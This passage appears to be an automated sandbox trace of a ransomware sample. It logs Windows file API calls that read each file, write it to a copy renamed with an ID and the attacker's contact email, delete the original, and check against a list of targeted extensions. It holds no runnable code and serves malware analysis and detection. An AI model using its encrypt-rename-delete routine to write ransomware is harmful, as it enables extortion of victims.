"c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0133.370] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0133.370] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0133.370] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.370] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.370] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0133.372] GetLastError () returned 0x0 [0133.372] ReadFile (in: hFile=0x10c0, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x4758, lpOverlapped=0x0) returned 1 [0133.420] WriteFile (in: hFile=0x10c4, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x4760, lpOverlapped=0x0) returned 1 [0133.421] ReadFile (in: hFile=0x10c0, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.421] WriteFile (in: hFile=0x10c4, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0133.421] SetEndOfFile (hFile=0x10c4) returned 1 [0133.422] CloseHandle (hObject=0x10c4) returned 1 [0133.422] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.422] SetEndOfFile (hFile=0x10c0) returned 1 [0133.423] CloseHandle (hObject=0x10c0) returned 1 [0133.423] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0133.424] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0133.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0133.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0133.424] lstrlenW (lpString=".doc") returned 4 [0133.424] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0133.424] lstrlenW (lpString=".docx") returned 5 [0133.424] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0133.424] lstrlenW (lpString=".pdf") returned 4 [0133.424] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0133.424] lstrlenW (lpString=".xls") returned 4 [0133.424] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0133.424] lstrlenW (lpString=".xlsx") returned 5 [0133.424] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0133.424] lstrlenW (lpString=".ppt") returned 4 [0133.424] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0133.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0133.424] lstrlenW (lpString=".zip") returned 4 [0133.424] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0133.424] lstrlenW (lpString=".rar") returned 4 [0133.424] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0133.424] lstrlenW (lpString=".bz2") returned 4 [0133.424] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0133.424] lstrlenW (lpString=".7z") returned 3 [0133.424] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0133.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0133.424] lstrlenW (lpString=".dbf") returned 4 [0133.425] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0133.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0133.425] lstrlenW (lpString=".1cd") returned 4 [0133.425] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0133.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0133.425] lstrlenW (lpString=".jpg") returned 4 [0133.425] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0133.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0133.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0133.425] lstrlenW (lpString=".doc") returned 4 [0133.425] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0133.425] lstrlenW (lpString=".docx") returned 5 [0133.425] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0133.425] lstrlenW (lpString=".pdf") returned 4 [0133.425] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0133.425] lstrlenW (lpString=".xls") returned 4 [0133.425] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0133.425] lstrlenW (lpString=".xlsx") returned 5 [0133.425] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0133.425] lstrlenW (lpString=".ppt") returned 4 [0133.425] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0133.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0133.425] lstrlenW (lpString=".zip") returned 4 [0133.425] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0133.425] lstrlenW (lpString=".rar") returned 4 [0133.425] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0133.425] lstrlenW (lpString=".bz2") returned 4 [0133.425] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0133.425] lstrlenW (lpString=".7z") returned 3 [0133.425] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0133.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0133.425] lstrlenW (lpString=".dbf") returned 4 [0133.425] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0133.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0133.425] lstrlenW (lpString=".1cd") returned 4 [0133.425] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0133.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0133.426] lstrlenW (lpString=".jpg") returned 4 [0133.426] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0133.426] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0133.426] lstrlenW (lpString="SetupResources.dll") returned 18 [0133.426] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0133.426] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=17752) returned 1 [0133.426] CloseHandle (hObject=0x10c0) returned 1 [0133.426] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0133.426] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0133.426] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0133.426] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.426] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.426] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0134.601] GetLastError () returned 0x0 [0134.601] ReadFile (in: hFile=0x10c0, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x4558, lpOverlapped=0x0) returned 1 [0134.759] WriteFile (in: hFile=0x108c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x4560, lpOverlapped=0x0) returned 1 [0134.760] ReadFile (in: hFile=0x10c0, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.760] WriteFile (in: hFile=0x108c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0134.760] SetEndOfFile (hFile=0x108c) returned 1 [0134.761] CloseHandle (hObject=0x108c) returned 1 [0134.764] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.764] SetEndOfFile (hFile=0x10c0) returned 1 [0134.765] CloseHandle (hObject=0x10c0) returned 1 [0134.765] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0134.766] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0134.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0134.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0134.766] lstrlenW (lpString=".doc") returned 4 [0134.766] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0134.766] lstrlenW (lpString=".docx") returned 5 [0134.766] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0134.766] lstrlenW (lpString=".pdf") returned 4 [0134.766] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0134.766] lstrlenW (lpString=".xls") returned 4 [0134.766] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0134.766] lstrlenW (lpString=".xlsx") returned 5 [0134.766] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0134.766] lstrlenW (lpString=".ppt") returned 4 [0134.766] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0134.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0134.766] lstrlenW (lpString=".zip") returned 4 [0134.766] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0134.766] lstrlenW (lpString=".rar") returned 4 [0134.766] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0134.767] lstrlenW (lpString=".bz2") returned 4 [0134.767] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0134.767] lstrlenW (lpString=".7z") returned 3 [0134.767] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0134.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0134.767] lstrlenW (lpString=".dbf") returned 4 [0134.767] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0134.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0134.767] lstrlenW (lpString=".1cd") returned 4 [0134.767] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0134.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0134.767] lstrlenW (lpString=".jpg") returned 4 [0134.767] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0134.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0134.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0134.767] lstrlenW (lpString=".doc") returned 4 [0134.767] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0134.767] lstrlenW (lpString=".docx") returned 5 [0134.767] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0134.767] lstrlenW (lpString=".pdf") returned 4 [0134.767] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0134.767] lstrlenW (lpString=".xls") returned 4 [0134.767] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0134.767] lstrlenW (lpString=".xlsx") returned 5 [0134.767] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0134.767] lstrlenW (lpString=".ppt") returned 4 [0134.767] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0134.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0134.767] lstrlenW (lpString=".zip") returned 4 [0134.767] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0134.767] lstrlenW (lpString=".rar") returned 4 [0134.767] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0134.767] lstrlenW (lpString=".bz2") returned 4 [0134.767] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0134.768] lstrlenW (lpString=".7z") returned 3 [0134.768] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0134.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0134.768] lstrlenW (lpString=".dbf") returned 4 [0134.768] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0134.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0134.768] lstrlenW (lpString=".1cd") returned 4 [0134.768] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0134.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0134.768] lstrlenW (lpString=".jpg") returned 4 [0134.768] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0134.768] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0134.768] lstrlenW (lpString="SetupResources.dll") returned 18 [0134.768] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0134.768] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=17752) returned 1 [0134.769] CloseHandle (hObject=0x10c0) returned 1 [0134.769] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0134.769] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0134.769] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0134.769] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.769] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.769] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0134.860] GetLastError () returned 0x0 [0134.860] ReadFile (in: hFile=0x10c0, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x4558, lpOverlapped=0x0) returned 1 [0135.024] WriteFile (in: hFile=0x1080, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x4560, lpOverlapped=0x0) returned 1 [0135.025] ReadFile (in: hFile=0x10c0, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.025] WriteFile (in: hFile=0x1080, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0135.025] SetEndOfFile (hFile=0x1080) returned 1 [0135.025] CloseHandle (hObject=0x1080) returned 1 [0135.027] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.027] SetEndOfFile (hFile=0x10c0) returned 1 [0135.027] CloseHandle (hObject=0x10c0) returned 1 [0135.027] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0135.028] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0135.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0135.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0135.028] lstrlenW (lpString=".doc") returned 4 [0135.028] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.028] lstrlenW (lpString=".docx") returned 5 [0135.028] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0135.028] lstrlenW (lpString=".pdf") returned 4 [0135.028] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.028] lstrlenW (lpString=".xls") returned 4 [0135.028] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.028] lstrlenW (lpString=".xlsx") returned 5 [0135.028] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0135.028] lstrlenW (lpString=".ppt") returned 4 [0135.028] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0135.028] lstrlenW (lpString=".zip") returned 4 [0135.028] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.028] lstrlenW (lpString=".rar") returned 4 [0135.028] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.028] lstrlenW (lpString=".bz2") returned 4 [0135.028] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.029] lstrlenW (lpString=".7z") returned 3 [0135.029] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0135.029] lstrlenW (lpString=".dbf") returned 4 [0135.029] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0135.029] lstrlenW (lpString=".1cd") returned 4 [0135.029] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0135.029] lstrlenW (lpString=".jpg") returned 4 [0135.029] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0135.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0135.029] lstrlenW (lpString=".doc") returned 4 [0135.029] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.029] lstrlenW (lpString=".docx") returned 5 [0135.029] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0135.029] lstrlenW (lpString=".pdf") returned 4 [0135.029] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.029] lstrlenW (lpString=".xls") returned 4 [0135.029] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.029] lstrlenW (lpString=".xlsx") returned 5 [0135.029] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0135.029] lstrlenW (lpString=".ppt") returned 4 [0135.029] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0135.029] lstrlenW (lpString=".zip") returned 4 [0135.029] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.029] lstrlenW (lpString=".rar") returned 4 [0135.029] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.029] lstrlenW (lpString=".bz2") returned 4 [0135.029] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.029] lstrlenW (lpString=".7z") returned 3 [0135.029] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0135.029] lstrlenW (lpString=".dbf") returned 4 [0135.029] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0135.030] lstrlenW (lpString=".1cd") returned 4 [0135.030] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0135.030] lstrlenW (lpString=".jpg") returned 4 [0135.030] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.030] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0135.030] lstrlenW (lpString="DisplayIcon.ico") returned 15 [0135.030] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0135.030] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=88533) returned 1 [0135.030] CloseHandle (hObject=0x10c0) returned 1 [0135.030] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0135.030] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0135.030] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0135.030] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.030] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.030] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0135.032] GetLastError () returned 0x0 [0135.032] ReadFile (in: hFile=0x10c0, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x159d5, lpOverlapped=0x0) returned 1 [0135.102] WriteFile (in: hFile=0x1080, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x159e0, lpOverlapped=0x0) returned 1 [0135.104] ReadFile (in: hFile=0x10c0, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.105] WriteFile (in: hFile=0x1080, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xf2, lpOverlapped=0x0) returned 1 [0135.105] SetEndOfFile (hFile=0x1080) returned 1 [0135.630] CloseHandle (hObject=0x1080) returned 1 [0136.190] SetFilePointerEx (in: hFile=0x10c0, 